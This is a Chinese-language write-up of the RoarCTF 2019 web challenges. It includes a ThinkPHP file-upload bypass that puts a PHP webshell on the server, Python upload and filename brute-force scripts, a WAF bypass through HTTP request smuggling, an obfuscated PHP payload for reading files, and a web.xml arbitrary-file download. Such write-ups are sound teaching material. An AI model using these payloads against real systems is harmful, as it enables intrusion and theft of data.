RoarCTF2019 web writeup

周末空闲打了嘶吼ctf,被虐了一批,大佬们太强了,最后只能勉强苟个第8,因为题目质量还不错,所以写个web的writeup。

正文

simple_upload

解法1

听说这个是0day,拿来出题的,是用的thinkphp写的

 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

构造上传包,fuzz后使用 xxxx.<>php 绕过上传检测

上传成功,访问shell即可拿到flag。

解法2

ThinkPHP默认上传文件名是递增的。代码中ThinkPHP的后缀过滤无效,所以通过上传多个文件的方式,绕过.php后缀的判断,文件名,需要爆破

写脚本上传一个正常文件,再上传多个文件,再上传一个正常文件。然后获取到第一三次上传的文件名

import requests

url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"

files1 = {'file': open('test.txt','r')}
files2 = {'file[]': open('test.php','r')}

r = requests.post(url,files=files1)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=files1)
print(r.text)

爆破一下第一三文件名之间的所有文件名

import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}


s = "1234567890abcdef"
for i in s:
	for j in s:
		for k in s:
			for l in s:
				url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
				r = requests.get(url)
#				print(url)
				if r.status_code != 404:
					print(url)
					break

爆破到文件名后,即可访问上传的木马,拿到flag

easy_calc

这题首先进去发现是一个计算器的题目。

这道题是国赛的 love_math 的修改版,除去了长度限制,payload中不能包含’ ‘, ‘\t’, ‘\r’, ‘\n’,’’’, ‘“‘, ‘`’, ‘[‘, ‘]’ 等字符,不同的是网站加了waf,需要绕过waf。首先需要绕过waf,测试发现当我们提交一些字符时,会直接403,经测试发现存在服务器存在http走私漏洞,可以用来绕waf,详情见: https://paper.seebug.org/1048/

因为禁掉了一些字符,所以导致我们不能直接getflag,继续分析payload构造

这里用到几个php几个数学函数。

我们首先要构造列目录的payload,肯定要使用 scandir 函数,尝试构造列举根目录下的文件。 scandir 可以用 base_convert 函数构造,但是利用 base_convert 只能解决 a~z 的利用,因为根目录需要 / 符号,且不在 a~z ,所以需要 hex2bin(dechex(47)) 这种构造方式, dechex() 函数把十进制数转换为十六进制数。 hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

构造读取flag,使用 readfile 函数,paload: base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36)) ,方法类似

easy_java

这道进去首先想到的就是任意文件下载,但是刚开始用 GET 方式一直什么都下载不了,连网站确定目录的图片都下不了。后来修改为post,可以了。。。

尝试读取 WEB-INF/web.xml 发现操作flag的关键文件位置

将图中base64解码即flag。

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章